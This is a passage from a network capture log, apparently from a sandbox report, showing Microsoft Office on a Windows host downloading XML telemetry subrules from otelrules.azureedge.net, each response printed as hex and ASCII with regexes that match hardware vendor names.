2024-10-29 14:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142712Z-15b8d89586fqj7k5h9gbd8vs9800000007rg00000000ba1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142712Z-16849878b78qf2gleqhwczd21s00000006ug00000000dtxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142712Z-16849878b78sx229w7g7at4nkg00000004vg00000000e2v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142713Z-16849878b78bcpfn2qf7sm6hsn000000084000000000p44p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142713Z-16849878b78fssff8btnns3b1400000006yg000000008ywc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142713Z-15b8d89586fdmfsg1u7xrpfws00000000awg000000008y3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142713Z-16849878b786lft2mu9uftf3y400000007v000000000g4f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 214ea441-b01e-00ab-0e9b-27dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142713Z-15b8d89586fcvr6p5956n5d0rc0000000cm00000000086fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2faa3f77-001e-008d-269c-27d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142714Z-r197bdfb6b4skzzvqpzzd3xetg000000061g000000005xke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b7bd549c-e01e-0003-5b3c-280fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142714Z-17c5cb586f6g6g2sa7kg5c0gg00000000220000000000v2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 04619d75-001e-0014-5e75-295151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142714Z-r197bdfb6b4bq7nf8dgr5rzeq400000001w000000000c8p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 66eaddbf-601e-0084-58ff-256b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142714Z-r197bdfb6b4mcssrvu34xzqc5400000006v0000000003t0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
